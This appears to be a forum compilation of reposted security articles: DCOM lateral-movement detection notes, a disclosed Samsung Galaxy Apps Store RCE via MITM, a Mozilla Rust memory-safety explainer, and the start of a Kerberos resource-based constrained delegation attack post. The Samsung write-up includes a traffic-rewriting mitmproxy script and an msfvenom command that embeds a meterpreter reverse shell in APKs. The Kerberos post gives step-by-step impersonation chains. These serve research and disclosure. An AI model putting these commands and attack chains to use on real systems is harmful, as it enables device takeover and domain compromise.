C08AFD90-F2A1-11D1-8455-00A0C91F3880 It should also be noted that there may be other DCOM objects allowing for similar actions performed remotely. These are simply the ones I have found so far. Full Disclosure: I encourage anyone who implements these mitigations to test them extensively before integrating at scale. As with any system configuration change, it is highly encouraged to extensively test it to ensure nothing breaks. I have not tested these mitigations at scale. As for detection, there are a few things you can look for from a network level. When running the execution of this technique through Wireshark, you will likely see an influx of DCERPC traffic, followed by some indicators. First, when the object is instantiated remotely, you may notice a “RemoteGetClassObject” request via ISystemActivator: Following that, you will likely see “GetTypeInfo” requests from IDispatch along with “RemQueryInterface” requests via IRemUnknown2: While this may, in most cases, look like normal DCOM/RPC traffic (to an extent), one large indicator of this technique being executed will be in a request via IDispatch of GetIDsofNames for “ShellExecute”: Immediately following that request, you will see a treasure trove of useful information via an “Invoke Request”, including *exactly* what was executed via the ShellExecute method: That will immediately be followed by the response code of the method execution (0 being success). This is what the actual execution of commands via this method looks like: Cheers! Matt N. Sursa: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
-
Writeup – Samsung Galaxy Apps Store RCE via MITM 29 January, 2019 Portuguese version Authors: André Baptista @0xacb, Luís Maia @0xfad0 and Rolando Martins @rolandomartins. The update architecture of a mobile operating system is very important to make sure that the user trusts the software without the risk of being compromised by a hacker during this process. A bug on the Samsung Galaxy Apps Store allowed an attacker to inject unauthorized and arbitrary code, through the interception of periodic update requests made by the Store. Due to the usage of HTTP initiating checks for updates in the Samsung Galaxy Apps Store, an attacker that can control network traffic (e.g. via MITM on the network) can change the URL for load-balancing and modify the requests for the mirrors with user controlled domains. This could allow an attacker to trick Galaxy Apps into using an arbitrary hostname for which the attacker can provide a valid SSL certificate, and simulate the API of the app store to modify existing apps on a given device. An attacker could exploit this vulnerability to achieve Remote Code Execution on Samsung devices. 1. Methodology 1.1 Finding apps with interesting permissions Analyzing samsung mobile entire app ecosystem would be an huge task and searching for apps that would provide relevant permissions to, for example, install other apps, can reduce the vulnerability search space. Taking this approach, we developed a quick tool to dump and enumerate all the apps that would use interesting permissions as to reduce the following analysis of our tools. Using the Androguard tool, we analyzed all the APKs and generated a subset consisting of apps. 1.2 Finding relevant attack surface Although being able to locally install apps without system permissions would be a good vulnerability in itself, we set as a goal to first check system applications that could install other apps thereby providing an RCE if a vulnerability was found. In order to reduce the attack surface even further we assumed that Samsung would use SSL to prevent a MITM when downloading the APKs, so we wrote a few modules that would output the reduced set of APKs to analyze. 1.2.1 Transport Security To create this subset, we compiled a list of classes and methods that would be used to make HTTP/HTTPS requests and we checked all the apps against our list. This provided us with a smaller subset to look at. Although this method would dismiss applications that would not implement SSL and perform unsafe installs from untrusted sources, we like to assume that Samsung would at least try to use SSL when performing dangerous operations. We also intercepted network requests in a controlled environment to identify HTTP requests while playing with those apps. 1.2.2 Application Signature Validation Many applications use SSL as part of their normal operations and the previous subset was still quite large, in order to reduce it even further we filtered all the classes that contained the string “signature”. 1.3 Reverse Engineering Looking at our reduced subset, we picked the most obvious application that could contain vulnerabilities related to package installation as the first application to look at: the Galaxy Apps Store. In order to facilitate the team work and use the amenities of an IDE, we used JADX to decompile the APK to a gradle project and imported it after to Android Studio, which is useful to find class and variable usages and more. 2. Vulnerabilities 2.1 Lack of Transport Security (HTTP) The Galaxy Apps Store retrieves a country-specific URL to be used by the Store. This request occurs sometimes periodically, or when you start the app for the first time or if your MCC (Mobile Country code) changes. However, this request is made using HTTP and not HTTPS, which allows a MITM (man-in-the middle) attack. In this POST request, the device sends information about the device status such as: MCC, MNC, device model and language. In the response, a country URL is returned to be used by Store from then on. The country URL contains a HTTP URL but the app will use HTTPS in the next requests instead. Figura 1: HTTP request Figura 2: HTTP response An attacker may intercept traffic on a given network, change the response of this request and provide an evil country URL to be used by the Galaxy Apps Store. The fake country URL controlled by the attacker can act as a proxy to the actual API and change multiple informations on the fly, such as app names, images, permissions and more. Figura 3: Country URL infection via MITM 2.2 Signature validation At this point, our goal was to achieve RCE by installing arbitrary applications on the device. We analyzed requests of updating or installing applications, and we noticed that we could modify the URL of APK files. However, there was a signature parameter on the XML returned by the original server, but we were able to bypass this validation. When a user wants to install or update an app, the Store requests information about the app. A XML is returned, which contains information about permissions, the APK size, URL to download the APK and signature: <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <SamsungProtocol version="5.5"> ... <value name="contentsSize">72351744</value><value name="installSize">94371840</value> <value name="signature">a0ce9d124dbc9a39f978f455255355684cc78881</value> <value name="downloadUri">https://samsappsbn.vo.llnwd.net/astore_bin/fapbeixk0j/2018/1220/7d1791d56d.apk</value> ... </SamsungProtocol> view raw app-install-response.xml hosted with by GitHub First, we tried to change the downloadUri to a different APK we controlled with a reverse shell, but the Store client didn’t accept it because of the signature value. So, we tried to remove the signature tag from the XML and an error was shown as well. However, if the signature tag was present but with an empty value, i.e., <value name="signature"></value>, the signature would be accepted and a modified APK would be successfully installed. 3. PoC In order to simplify our PoC, we used mitmproxy to intercept and modify requests. We created a script to automatically change the vulnerable HTTP response and infect the client with our fake service: import re SERVER = b"fakegalaxystore.com" def response(flow😞 s = flow.response.content m = re.match(b"http:\/\/[a-z]+-odc\.samsungapps\.com", s) if m: s = s.replace(m.group(0), SERVER) flow.response.content = s print("#### %s" % s) ... view raw samsung-mitm-script.py hosted with by GitHub Once the client gets infected and starts using the fake store URL, applications may try to update and the fake store service can also tell the client that there is new update for a given app. When a client wants to install or update a given app, the attacker server may replace the download URI with a link to a backdoored APK file, which would be installed on the device with extra permissions. Because of lack of validation on the signature field (if XML tag is empty, but not missing, the device blindly accepts the APK from the store) it is possible to modify and infect the requested APKs on the fly, for any app being downloaded from the store without computing signatures. In our PoC we download, store and backdoor the original APK files using msfvenom as they are requested by clients: msfvenom -x original.apk -p android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -o backdoor.apk The service that exploits this vulnerability looks like this: Figura 4: Exploitation diagram 4. Conclusion The Store is a privileged app with INSTALL permissions, allowing the attacker to modify the manifest to add more permissions than those shown to the user in the app. The user would be unaware that the installed application will have more permissions than those presented on the install menu from the store, since the permission list can be modified in the server response. Infecting a device with a fake store API URL via MITM, backdooring applications on the fly and bypassing the signature mechanism allowed us to install modified apps and then execute arbitrary code (RCE) on devices that use the Galaxy Apps Store. Affected versions: Samsung Apps Store < 4.3.01.7 Tested on Samsung devices: A5 2017 (A520), Note 8 (N950F), A8 2018 (A530F), S7 (G930F), XCover 4 (G390F), S8 (G950F), S8 Plus (G955F), J7 2017 (J730F) Timeline: 30/05/2018 – Reported to Samsung Bug Bounty program 30/05/2018 – Triaged (Severity: High) 27/09/2018 – Fixed (Galaxy Apps Store 4.3.01.7 released) 16/10/2018 – Bounty awarded 13/12/2018 – CVE entry created https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20135 Sursa: https://www.adyta.pt/en/2019/01/29/writeup-samsung-app-store-rce-via-mitm-2/
-
Fearless Security: Memory Safety By Diane Hosfelt Posted on January 23, 2019 in Featured Article, Rust, and Security Share This Fearless Security Last year, Mozilla shipped Quantum CSS in Firefox, which was the culmination of 8 years of investment in Rust, a memory-safe systems programming language, and over a year of rewriting a major browser component in Rust. Until now, all major browser engines have been written in C++, mostly for performance reasons. However, with great performance comes great (memory) responsibility: C++ programmers have to manually manage memory, which opens a Pandora’s box of vulnerabilities. Rust not only prevents these kinds of errors, but the techniques it uses to do so also prevent data races, allowing programmers to reason more effectively about parallel code. In the coming weeks, this three-part series will examine memory safety and thread safety, and close with a case study of the potential security benefits gained from rewriting Firefox’s CSS engine in Rust. What Is Memory Safety When we talk about building secure applications, we often focus on memory safety. Informally, this means that in all possible executions of a program, there is no access to invalid memory. Violations include: use after free null pointer dereference using uninitialized memory double free buffer overflow For a more formal definition, see Michael Hicks’ What is memory safety post and The Meaning of Memory Safety, a paper that formalizes memory safety. Memory violations like these can cause programs to crash unexpectedly and can be exploited to alter intended behavior. Potential consequences of a memory-related bug include information leakage, arbitrary code execution, and remote code execution. Managing Memory Memory management is crucial to both the performance and the security of applications. This section will discuss the basic memory model. One key concept is pointers. A pointer is a variable that stores a memory address. If we visit that memory address, there will be some data there, so we say that the pointer is a reference to (or points to) that data. Just like a home address shows people where to find you, a memory address shows a program where to find data. Everything in a program is located at a particular memory address, including code instructions. Pointer misuse can cause serious security vulnerabilities, including information leakage and arbitrary code execution. Allocation/free When we create a variable, the program needs to allocate enough space in memory to store the data for that variable. Since the memory owned by each process is finite, we also need some way of reclaiming resources (or freeing them). When memory is freed, it becomes available to store new data, but the old data can still exist until it is overwritten. Buffers A buffer is a contiguous area of memory that stores multiple instances of the same data type. For example, the phrase “My cat is Batman” would be stored in a 16-byte buffer. Buffers are defined by a starting memory address and a length; because the data stored in memory next to a buffer could be unrelated, it’s important to ensure we don’t read or write past the buffer boundaries. Control Flow Programs are composed of subroutines, which are executed in a particular order. At the end of a subroutine, the computer jumps to a stored pointer (called the return address) to the next part of code that should be executed. When we jump to the return address, one of three things happens: The process continues as expected (the return address was not corrupted). The process crashes (the return address was altered to point at non-executable memory). The process continues, but not as expected (the return address was altered and control flow changed). How languages achieve memory safety We often think of programming languages on a spectrum. On one end, languages like C/C++ are efficient, but require manual memory management; on the other, interpreted languages use automatic memory management (like reference counting or garbage collection [GC]), but pay the price in performance. Even languages with highly optimized garbage collectors can’t match the performance of non-GC’d languages. Manually Some languages (like C) require programmers to manually manage memory by specifying when to allocate resources, how much to allocate, and when to free the resources. This gives the programmer very fine-grained control over how their implementation uses resources, enabling fast and efficient code. However, this approach is prone to mistakes, particularly in complex codebases. Mistakes that are easy to make include: forgetting that resources have been freed and trying to use them not allocating enough space to store data reading past the boundary of a buffer A safety video candidate for manual memory management Smart pointers A smart pointer is a pointer with additional information to help prevent memory mismanagement. These can be used for automated memory management and bounds checking. Unlike raw pointers, a smart pointer is able to self-destruct, instead of waiting for the programmer to manually destroy it. There’s no single smart pointer type—a smart pointer is any type that wraps a raw pointer in some practical abstraction. Some smart pointers use reference counting to count how many variables are using the data owned by a variable, while others implement a scoping policy to constrain a pointer lifetime to a particular scope. In reference counting, the object’s resources are reclaimed when the last reference to the object is destroyed. Basic reference counting implementations can suffer from performance and space overhead, and can be difficult to use in multi-threaded environments. Situations where objects refer to each other (cyclical references) can prohibit either object’s reference count from ever reaching zero, which requires more sophisticated methods. Garbage Collection Some languages (like Java, Go, Python) are garbage collected. A part of the runtime environment, named the garbage collector (GC), traces variables to determine what resources are reachable in a graph that represents references between objects. Once an object is no longer reachable, its resources are not needed and the GC reclaims the underlying memory to reuse in the future. All allocations and deallocations occur without explicit programmer instruction. While a GC ensures that memory is always used validly, it doesn’t reclaim memory in the most efficient way. The last time an object is used could occur much earlier than when it is freed by the GC. Garbage collection has a performance overhead that can be prohibitive for performance critical applications; it requires up to 5x as much memory to avoid a runtime performance penalty. Ownership To achieve both performance and memory safety, Rust uses a concept called ownership. More formally, the ownership model is an example of an affine type system. All Rust code follows certain ownership rules that allow the compiler to manage memory without incurring runtime costs: Each value has a variable, called the owner. There can only be one owner at a time. When the owner goes out of scope, the value will be dropped. Values can be moved or borrowed between variables. These rules are enforced by a part of the compiler called the borrow checker. When a variable goes out of scope, Rust frees that memory. In the following example, when s1 and s2 go out of scope, they would both try to free the same memory, resulting in a double free error. To prevent this, when a value is moved out of a variable, the previous owner becomes invalid. If the programmer then attempts to use the invalid variable, the compiler will reject the code. This can be avoided by creating a deep copy of the data or by using references. Example 1: Moving ownership let s1 = String::from("hello"); let s2 = s1; //won't compile because s1 is now invalid println!("{}, world!", s1); Another set of rules verified by the borrow checker pertains to variable lifetimes. Rust prohibits the use of uninitialized variables and dangling pointers, which can cause a program to reference unintended data. If the code in the example below compiled, r would reference memory that is deallocated when x goes out of scope—a dangling pointer. The compiler tracks scopes to ensure that all borrows are valid, occasionally requiring the programmer to explicitly annotate variable lifetimes. Example 2: A dangling pointer let r; { let x = 5; r = &x; } println!("r: {}", r); The ownership model provides a strong foundation for ensuring that memory is accessed appropriately, preventing undefined behavior. Memory Vulnerabilities The main consequences of memory vulnerabilities include: Crash: accessing invalid memory can make applications terminate unexpectedly Information leakage: inadvertently exposing non-public data, including sensitive information like passwords Arbitrary code execution (ACE): allows an attacker to execute arbitrary commands on a target machine; when this is possible over a network, we call it a remote code execution (RCE) Another type of problem that can appear is memory leakage, which occurs when memory is allocated, but not released after the program is finished using it. It’s possible to use up all available memory this way. Without any remaining memory, legitimate resource requests will be blocked, causing a denial of service. This is a memory-related problem, but one that can’t be addressed by programming languages. The best case scenario with most memory errors is that an application will crash harmlessly—this isn’t a good best case. However, the worst case scenario is that an attacker can gain control of the program through the vulnerability (which could lead to further attacks). Misusing Free (use-after-free, double free) This subclass of vulnerabilities occurs when some resource has been freed, but its memory position is still referenced. It’s a powerful exploitation method that can lead to out of bounds access, information leakage, code execution and more. Garbage-collected and reference-counted languages prevent the use of invalid pointers by only destroying unreachable objects (which can have a performance penalty), while manually managed languages are particularly susceptible to invalid pointer use (particularly in complex codebases). Rust’s borrow checker doesn’t allow object destruction as long as references to the object exist, which means bugs like these are prevented at compile time. Uninitialized variables If a variable is used prior to initialization, the data it contains could be anything—including random garbage or previously discarded data, resulting in information leakage (these are sometimes called wild pointers). Often, memory managed languages use a default initialization routine that is run after allocation to prevent these problems. Like C, most variables in Rust are uninitialized until assignment—unlike C, you can’t read them prior to initialization. The following code will fail to compile: Example 3: Using an uninitialized variable fn main() { let x: i32; println!("{}", x); } Null pointers When an application dereferences a pointer that turns out to be null, usually this means that it simply accesses garbage that will cause a crash. In some cases, these vulnerabilities can lead to arbitrary code execution 1 2 3. Rust has two types of pointers, references and raw pointers. References are safe to access, while raw pointers could be problematic. Rust prevents null pointer dereferencing two ways: Avoiding nullable pointers Avoiding raw pointer dereferencing Rust avoids nullable pointers by replacing them with a special Option type. In order to manipulate the possibly-null value inside of an Option, the language requires the programmer to explicitly handle the null case or the program will not compile. When we can’t avoid nullable pointers (for example, when interacting with non-Rust code), what can we do? Try to isolate the damage. Any dereferencing raw pointers must occur in an unsafe block. This keyword relaxes Rust’s guarantees to allow some operations that could cause undefined behavior (like dereferencing a raw pointer). Buffer overflow While the other vulnerabilities discussed here are prevented by methods that restrict access to undefined memory, a buffer overflow may access legally allocated memory. The problem is that a buffer overflow inappropriately accesses legally allocated memory. Like a use-after-free bug, out-of-bounds access can also be problematic because it accesses freed memory that hasn’t been reallocated yet, and hence still contains sensitive information that’s supposed to not exist anymore. A buffer overflow simply means an out-of-bounds access. Due to how buffers are stored in memory, they often lead to information leakage, which could include sensitive data such as passwords. More severe instances can allow ACE/RCE vulnerabilities by overwriting the instruction pointer. Example 4: Buffer overflow (C code) int main() { int buf[] = {0, 1, 2, 3, 4}; // print out of bounds printf("Out of bounds: %d\n", buf[10]); // write out of bounds buf[10] = 10; printf("Out of bounds: %d\n", buf[10]); return 0; } The simplest defense against a buffer overflow is to always require a bounds check when accessing elements, but this adds a runtime performance penalty. How does Rust handle this? The built-in buffer types in Rust’s standard library require a bounds check for any random access, but also provide iterator APIs that can reduce the impact of these bounds checks over multiple sequential accesses. These choices ensure that out-of-bounds reads and writes are impossible for these types. Rust promotes patterns that lead to bounds checks only occurring in those places where a programmer would almost certainly have to manually place them in C/C++. Memory safety is only half the battle Memory safety violations open programs to security vulnerabilities like unintentional data leakage and remote code execution. There are various ways to ensure memory safety, including smart pointers and garbage collection. You can even formally prove memory safety. While some languages have accepted slower performance as a tradeoff for memory safety, Rust’s ownership system achieves both memory safety and minimizes the performance costs. Unfortunately, memory errors are only part of the story when we talk about writing secure code. The next post in this series will discuss concurrency attacks and thread safety. Exploiting Memory: In-depth resources Heap memory and exploitation Smashing the stack for fun and profit Analogies of Information Security Intro to use after free vulnerabilities About Diane Hosfelt @avadacatavra Sursa: https://hacks.mozilla.org/2019/01/fearless-security-memory-safety/
-
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory 28 January 2019 • Elad Shamir • 41 min read Back in March 2018, I embarked on an arguably pointless crusade to prove that the TrustedToAuthForDelegation attribute was meaningless, and that “protocol transition” can be achieved without it. I believed that security wise, once constrained delegation was enabled (msDS-AllowedToDelegateTo was not null), it did not matter whether it was configured to use “Kerberos only” or “any authentication protocol”. I started the journey with Benjamin Delpy’s (@gentilkiwi) help modifying Kekeo to support a certain attack that involved invoking S4U2Proxy with a silver ticket without a PAC, and we had partial success, but the final TGS turned out to be unusable. Ever since then, I kept coming back to it, trying to solve the problem with different approaches but did not have much success. Until I finally accepted defeat, and ironically then the solution came up, along with several other interesting abuse cases and new attack techniques. TL;DR This post is lengthy, and I am conscious that many of you do not have the time or attention span to read it, so I will try to convey the important points first: Resource-based constrained delegation does not require a forwardable TGS when invoking S4U2Proxy. S4U2Self works on any account that has an SPN, regardless of the state of the TrustedToAuthForDelegation attribute. If TrustedToAuthForDelegation is set, then the TGS that S4U2Self produces is forwardable, unless the principal is sensitive for delegation or a member of the Protected Users group. The above points mean that if an attacker can control a computer object in Active Directory, then it may be possible to abuse it to compromise the host. S4U2Proxy always produces a forwardable TGS, even if the provided additional TGS in the request was not forwardable. The above point means that if an attacker compromises any account with an SPN as well as an account with classic constrained delegation, then it does not matter whether the TrustedToAuthForDelegation attribute is set. By default, any domain user can abuse the MachineAccountQuota to create a computer account and set an SPN for it, which makes it even more trivial to abuse resource-based constrained delegation to mimic protocol transition (obtain a forwardable TGS for arbitrary users to a compromised service). S4U2Self allows generating a valid TGS for arbitrary users, including those marked as sensitive for delegation or members of the Protected Users group. The resulting TGS has a PAC with a valid KDC signature. All that’s required is the computer account credentials or a TGT. The above point in conjunction with unconstrained delegation and “the printer bug” can lead to remote code execution (RCE). Resource-based constrained delegation on the krbtgt account allows producing TGTs for arbitrary users, and can be abused as a persistence technique. Configuring resource-based constrained delegation through NTLM relay from HTTP to LDAP may facilitate remote code execution (RCE) or local privilege escalation (LPE) on MSSQL servers, and local privilege escalation (LPE) on Windows 10/2016/2019. Computer accounts just got a lot more interesting. Start hunting for more primitives to trigger attack chains! Kerberos Delegation 101 If you are not up to speed with abusing Kerberos delegation, you should first read the post S4U2Pwnage by Will Schroeder (@harmj0y) and Lee Christensen (@tifkin_). In that post, they explained it better than I ever could, but I will try to capture it very concisely as well. First, a simplified overview of Kerberos: When users log in, they encrypt a piece of information (a timestamp) with an encryption key derived from their password, to prove to the authentication server that they know the password. This step is called “preauthentication”. In Active Directory environments, the authentication server is a domain controller. Upon successful preauthentication, the authentication server provides the user with a ticket-granting-ticket (TGT), which is valid for a limited time. When a user wishes to authenticate to a certain service, the user presents the TGT to the authentication server. If the TGT is valid, the user receives a ticket-granting service (TGS), also known as a “service ticket”, from the authentication server. The user can then present the TGS to the service they want to access, and the service can authenticate the user and make authorisation decisions based on the data contained in the TGS. A few important notes about Kerberos tickets: Every ticket has a clear-text part and an encrypted part. The clear-text part of the ticket contains the Service Principal Name (SPN) of the service for which the ticket is intended. The encryption key used for the encrypted part of the ticket is derived from the password of the account of the target service. TGTs are encrypted for the built-in account “krbtgt”. The SPN on TGTs is krbtgt/domain name. Often, there is a requirement for a service to impersonate the user to access another service. To facilitate that, the following delegation features were introduced to the Kerberos protocol: Unconstrained Delegation (TrustedForDelegation): The user sends a TGS to access the service, along with their TGT, and then the service can use the user’s TGT to request a TGS for the user to any other service and impersonate the user. Constrained Delegation (S4U2Proxy): The user sends a TGS to access the service (“Service A”), and if the service is allowed to delegate to another pre-defined service (“Service B”), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. Note that the TGS provided in the S4U2Proxy request must have the FORWARDABLE flag set. The FORWARDABLE flag is never set for accounts that are configured as “sensitive for delegation” (the USER_NOT_DELEGATED attribute is set to true) or for members of the Protected Users group. Protocol Transition (S4U2Self/TrustedToAuthForDelegation): S4U2Proxy requires the service to present a TGS for the user to itself before the authentication service produces a TGS for the user to another service. It is often referred to as the “additional ticket”, but I like referring to it as “evidence” that the user has indeed authenticated to the service invoking S4U2Proxy. However, sometimes users authenticate to services via other protocols, such as NTLM or even form-based authentication, and so they do not send a TGS to the service. In such cases, a service can invoke S4U2Self to ask the authentication service to produce a TGS for arbitrary users to itself, which can then be used as “evidence” when invoking S4U2Proxy. This feature allows impersonating users out of thin air, and it is only possible when the TrustedToAuthForDelegation flag is set for the service account that invokes S4U2Self. The Other Constrained Delegation Back in October 2018, I collaborated with Will Schroeder (@harmj0y) to abuse resource-based constrained delegation as an ACL-based computer object takeover primitive. Will wrote an excellent post on this topic, which you should also read before continuing. Once again, in that post, Will explained it better than I ever could, but I will try to capture it very concisely here. In order to configure constrained delegation, one has to have the SeEnableDelegation Privilege, which is sensitive and typically only granted to Domain Admins. In order to give users/resources more independence, Resource-based Constrained Delegation was introduced in Windows Server 2012. Resource-based constrained delegation allows resources to configure which accounts are trusted to delegate to them. This flavour of constrained delegation is very similar to the classic constrained delegation but works in the opposite direction. Classic constrained delegation from account A to account B is configured on account A in the msDS-AllowedToDelegateTo attribute, and defines an “outgoing” trust from A to B, while resource-based constrained delegation is configured on account B in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, and defines an “incoming” trust from A to B. An important observation is that every resource can configure resource-based constrained delegation for itself. In my mind, it does make sense to allow resources to decide for themselves who do they trust. Will and I came up with the following abuse case to compromise a specific host: An attacker compromises an account that has the TrustedToAuthForDelegation flag set (“Service A”). The attacker additionally compromises an account with the rights to configure resource-based constrained delegation for the computer account of the target host (“Service B”). The attacker configures resource-based constrained delegation from Service A to Service B. The attacker invokes S4U2Self and S4U2Proxy as Service A to obtain a TGS for a privileged user to Service B to compromise the target host. The following diagram illustrates this abuse case: It is a nice trick, but compromising an account with the TrustedToAuthForDelegation flag set is not trivial. If only my crusade to defeat TrustedToAuthForDelegation had been more fruitful, it would come in handy for this abuse case. A Selfless Abuse Case: Skipping S4U2Self In an attempt to make the above ACL-based computer object takeover primitive more generic, I slightly modified Rubeus to allow skipping S4U2Self by letting the attacker supply the “evidence” TGS for the victim when invoking S4U2Proxy. Benjamin Delpy also made this modification to Kekeo back in April 2018; however, at the time of writing, Kekeo does not support resource-based constrained delegation. The more generic abuse case would work as follows: The attacker compromises Service A and the DACL to configure resource-based constrained delegation on Service B. By way of social engineering or a watering hole attack, the victim authenticates to Service A to access a service (e.g. CIFS or HTTP). The attacker dumps the TGS of the victim to Service A, using Mimikatz sekurlsa::tickets or through another method. The attacker configures resource-based constrained delegation from Service A to Service B. The attacker uses Rubeus to perform S4U2Proxy with the TGS previously obtained as the required “evidence”, from Service A to Service B for the victim. The attacker can pass-the-ticket and impersonate the victim to access Service B. The following diagram illustrates this scenario: Video demonstration of this scenario: https://youtu.be/7odfALcmldo Note that the resulting TGS in the S4U2Proxy response (to service seems to have the FORWARDABLE flag set, unless the principal is marked as sensitive for delegation or is a member of the Protected Users group. Serendipity As I was testing my Rubeus modification in preparation for submitting a pull request, I reset the TrustedToAuthForDelegation UserAccountControl flag on Service A and expected to see an error message when performing S4U2Self. However, S4U2Self worked, as well as S4U2Proxy, and the resulting TGS provided me with access to Service B. The ticket I obtained from S4U2Self was not forwardable, and still, S4U2Proxy accepted it and responded with a TGS for the user to Service B. At this point, I was wondering whether I completely misconfigured my lab environment. Video demonstration of this scenario: https://youtu.be/IZ6BJpr28r4 A Misunderstood Feature #1 After a couple more hours of testing, debugging, and reading MS-SFU, I realised that I had misunderstood S4U2Self. It seems S4U2Self works whether the TrustedToAuthForDelegation UserAccountControl flag is set or not. However, if it is not set, the resulting TGS is not FORWARDABLE, as per section 3.2.5.1.2 of MS-SFU: “If the TrustedToAuthenticationForDelegation parameter on the Service 1 principal is set to: TRUE: the KDC MUST set the FORWARDABLE ticket flag ([RFC4120] section 2.6) in the S4U2self service ticket. FALSE and ServicesAllowedToSendForwardedTicketsTo is nonempty: the KDC MUST NOT set the FORWARDABLE ticket flag ([RFC4120] section 2.6) in the S4U2self service ticket.” A Misunderstood Feature #2 So, S4U2Proxy still shouldn’t have worked with a non-forwardable ticket, right? When I attempted invoking S4U2Proxy with a non-forwardable TGS with classic (“outgoing”) constrained delegation, it failed. But with resource-based constrained delegation (“incoming”) it consistently worked. I thought it must be a bug, and so on 26/10/2018, I reported it to Microsoft Response Center (MSRC). As I was impatiently waiting for a response, I read MS-SFU again and found section 3.2.5.2: “If the service ticket in the additional-tickets field is not set to forwardable<20> and the PA-PAC-OPTIONS [167] ([MS-KILE] section 2.2.10) padata type has the resource-based constrained delegation bit: Not set, then the KDC MUST return KRB-ERR-BADOPTION with STATUS_NO_MATCH. Set and the USER_NOT_DELEGATED bit is set in the UserAccountControl field in the KERB_VALIDATION_INFO structure ([MS-PAC] section 2.5), then the KDC MUST return KRB-ERR-BADOPTION with STATUS_NOT_FOUND.” It seems like a design flaw, also known in Microsoft parlance as a “feature”. S4U2Proxy for resource-based constrained delegation works when provided with a non-forwardable TGS by design! Note that as per the above documentation, even though the TGS doesn’t have to be forwardable for resource-based constrained delegation, if the user is set as “sensitive for delegation”, S4U2Proxy will fail, which is expected. Generic DACL Abuse These two misunderstood “features” mean that the only requirement for the ACL-based computer object takeover primitive is the DACL to configure resource-based constrained delegation on the computer object and another account. Any account with an SPN will do. Even just a TGT for the other account will be enough. The reason an SPN is required is that S4U2Self does not seem to work for accounts that do not have it. But any domain user can obtain an account with an SPN by abusing the MachineAccountQuota, which is set to 10 by default, and allows creating new computer accounts. When creating the new computer account, the user can set an SPN for it, or add one later on. Kevin Robertson (@NetSPI) implemented a tool called Powermad that allows doing that through LDAP. The generic abuse case would work as follows: The attacker compromises an account that has an SPN or creates one (“Service A”) and the DACL to configure resource-based constrained delegation on a computer account (“Service B”). The attacker configures resource-based constrained delegation from Service A to Service B. The attacker uses Rubeus to perform a full S4U attack (S4U2Self and S4U2Proxy) from Service A to Service B for a user with privileged access to Service B. The attacker can pass-the-ticket and impersonate the user to gain access to Service B. The following diagram illustrates this scenario: Video demonstration of this scenario: https://youtu.be/ayavtG7J_TQ Note that the TGS obtained from S4U2Self in step 3 is not forwardable, and yet it is accepted as “evidence” when invoking S4U2Proxy. A Forwardable Result When I inspected the resulting TGS in the S4U2Proxy response, it had the FORWARDABLE flag set. I provided S4U2Proxy with a non-forwardable TGS as “evidence” and got a forwardable TGS. Is this a bug or a feature? I went back to MS-SFU section 3.2.5.2.2, and found the following: “The KDC MUST reply with the service ticket where: The sname field contains the name of Service 2. The realm field contains the realm of Service 2. The cname field contains the cname from the service ticket in the additional-tickets field. The crealm field contains the crealm from the service ticket in the additional-tickets field. The FORWARDABLE ticket flag is set. The S4U_DELEGATION_INFO structure is in the new PAC.” It seems like it is another great feature: every TGS produced by S4U2Proxy is always forwardable. Empowering Active Directory Objects and Reflective Resource-Based Constrained Delegation When Microsoft introduced resource-based constrained delegation, it transformed users and computers into strong, independent AD objects, which are able to configure this new “incoming” delegation for themselves. By default, all resources have an Access Control Entry (ACE) that permits them to configure resource-based constrained delegation for themselves. However, if an attacker has credentials for the account, they can forge a silver ticket and gain access to it anyway. The problem with silver tickets is that, when forged, they do not have a PAC with a valid KDC signature. If the target host is configured to validate KDC PAC Signature, the silver ticket will not work. There may also be other security solutions that can detect silver ticket usage. However, if we have credentials for a computer account or even just a TGT, we can configure resource-based constrained delegation from that account to itself, and then use S4U2Self and S4U2Proxy to obtain a TGS for an arbitrary user. The abuse case would work as follows: The attacker compromises credentials or a TGT for a computer account (“Service A”). The attacker configures resource-based constrained delegation from Service A to itself. The attacker uses Rubeus to perform a full S4U attack and obtain a TGS for a user with privileged access to Service A. The attacker can pass-the-ticket and impersonate the user to access Service A. The following diagram illustrates this scenario: Video demonstration of this scenario: https://youtu.be/63RoJrDMUFg This reflective resource-based constrained delegation is, in fact, equivalent to S4U2Self when the account has the TrustedToAuthForDelegation flag set (also known as “protocol transition”), as it allows the account to obtain a forwardable TGS for itself on behalf of users. However, if an account is configured for classic constrained delegation with “Kerberos only” (TrustedToAuthForDelegation is not set and msDS-AllowedToDelegateTo is not null), then the classic conditions take precedence over the resource-based conditions, and so S4U2Self responds with a non-forwardable TGS and S4U2Proxy fails. Note that this technique will only allow obtaining a TGS for a user as long as it is not set as “sensitive for delegation” and is not a member of the Protected Users group, as you can see in the screenshots below: Solving a Sensitive Problem Inspecting the above output closely indicates that S4U2Self works for a user marked as sensitive for delegation and a member of the Protected Users group. Closer inspection of the ticket shows that it does not have a valid service name, and it is not forwardable: But this can easily be changed because the service name is not in the encrypted part of the ticket. An attacker can use an ASN.1 editor to modify the SPN on the TGS obtained from S4U2Self, and turn it into a valid one. Once that is done, the attacker has a valid TGS. It is not forwardable, but it is fine for authenticating to the service: Video demonstration of this scenario: https://youtu.be/caXFG_vAr-w So, if an attacker has credentials or a TGT for a computer account, they can obtain a TGS to that computer for any user, including sensitive/protected users, with a valid KDC signature in the PAC. That means that obtaining a TGT for a computer account is sufficient to compromise the host. When the Stars Align: Unconstrained Delegation Leads to RCE As Lee Christensen (@tifkin_) demonstrated in “the printer bug” abuse case study at DerbyCon 8, it is possible to trick the Printer Spooler to connect back over SMB to a specified IP/hostname, by invoking the method RpcRemoteFindFirstPrinterChangeNotification (Opnum 62). If an attacker compromises a host with unconstrained delegation, “the printer bug” abuse can result in remote code execution on any domain-joined Windows host with the Printer Spooler running. The abuse case would work as follows: The attacker compromises a host with unconstrained delegation and elevates. The attacker runs the monitor/harvest module of Rubeus. The attacker launches SpoolSample or dementor.py to manipulate the Printer Spooler of the target host to delegate its TGT to the unconstrained delegation compromised host. The attacker can use the captured TGT to obtain a TGS to the target host for any user, even sensitive for delegation/protected users. The attacker obtains a TGS to the target host for a user with local administrator rights and compromises it. The following diagram illustrates this scenario: Video demonstration of this scenario: https://youtu.be/XqxWHy9e_J8 As Will Schroeder (@harmj0y) explained 